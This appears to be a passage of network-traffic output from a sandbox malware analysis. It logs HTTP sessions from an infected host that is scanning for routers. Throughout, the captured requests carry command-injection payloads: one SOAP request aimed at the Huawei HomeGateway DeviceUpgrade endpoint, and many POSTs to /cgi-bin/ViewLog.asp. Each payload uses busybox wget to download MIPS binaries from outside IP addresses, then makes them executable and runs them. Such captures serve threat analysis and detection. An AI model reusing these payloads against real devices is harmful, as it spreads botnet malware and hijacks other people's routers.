                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:22:56.440207005 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:23:11.799822092 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                677192.168.2.154007062.141.39.808080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:43.341829062 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:43.533727884 CET680INHTTP/1.1 404
                                                Content-Type: text/html;charset=utf-8
                                                Content-Language: en
                                                Content-Length: 431
                                                Date: Thu, 23 Nov 2023 04:22:43 GMT
                                                Keep-Alive: timeout=5
                                                Connection: keep-alive
                                                Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 62 6f 64 79 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 68 31 2c 20 68 32 2c 20 68 33 2c 20 62 20 7b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 68 31 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 68 32 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 68 33 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 70 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 20 61 20 7b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 7d 20 2e 6c 69 6e 65 20 7b 68 65 69 67 68 74 3a 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e
                                                Data Ascii: <!doctype html><html lang="en"><head><title>HTTP Status 404 Not Found</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 404 Not Found</h1></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                678192.168.2.153775494.120.221.2448080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:43.376636028 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                679192.168.2.154468285.243.183.718080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:43.403151989 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:44.472583055 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:45.720536947 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:48.248413086 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:53.368364096 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:03.352018118 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                680192.168.2.155199631.43.122.1258080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:43.404890060 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:43.621048927 CET465INHTTP/1.1 404 Not Found
                                                Date: Thu, 23 Nov 2023 06:21:52 GMT
                                                Server: Webs
                                                X-Frame-Options: SAMEORIGIN
                                                Cache-Control: no-cache
                                                Content-Length: 166
                                                Content-Type: text/html
                                                Connection: keep-alive
                                                Keep-Alive: timeout=60, max=99
                                                Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                681192.168.2.155826662.29.99.1038080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:43.419136047 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:47.480530024 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:53.624274015 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:05.655951023 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                682192.168.2.154750094.122.197.2188080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:43.419188976 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                683192.168.2.154116694.131.214.1698080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:43.425225973 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                684192.168.2.155086285.7.88.1188080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:43.516433954 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                685192.168.2.154276462.234.167.1978080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:43.525065899 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
